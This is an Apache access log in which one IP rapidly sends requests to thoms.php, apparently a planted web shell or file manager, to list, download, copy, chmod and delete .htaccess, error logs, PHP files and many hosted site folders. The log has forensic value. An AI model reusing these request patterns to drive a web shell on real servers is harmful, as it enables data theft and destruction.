45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=-20260912023718.htaccess&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11930 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=thoms-20260912023711.php HTTP/1.1" 200 11773 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=broadweb.com-20260912023716&p= HTTP/1.1" 200 12416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=mah-20260912023710.php&p= HTTP/1.1" 200 12428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=thoms-20260912023711.php&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?del=mah-20260912023710.php&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22599 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22678 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:22 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=mah-20260912023710.php&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20547 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=betcity.com-20260912023741&p= HTTP/1.1" 200 22662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17533 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22614 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?copy=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11438 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=biotaiwan.com-20260912023713 HTTP/1.1" 200 17570 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=-20260912023718.htaccess HTTP/1.1" 200 11937 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?p=broadweb.com-20260912023716 HTTP/1.1" 200 17327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:23 -0400] "GET /biotaiwan.com.tw/thoms.php?del=broadweb.com-20260912023716&p= HTTP/1.1" 200 22295 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=besth2o.com-20260912023731 HTTP/1.1" 200 17324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=betcity.com-20260912023741 HTTP/1.1" 200 17336 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12535 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12403 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p= HTTP/1.1" 200 22637 "https://163.245.207.76/biotaiwan.com.tw/thoms.php?p=&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=besth2o.com-20260912023731&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22614 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=besth2o.com-20260912023731&p= HTTP/1.1" 200 12400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 12403 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=-20260912023718.htaccess&p= HTTP/1.1" 200 12407 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:24 -0400] "GET /biotaiwan.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?del=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 22477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?del=-20260912023718.htaccess&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=thoms-20260912023711.php&p= HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:25 -0400] "GET /biotaiwan.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
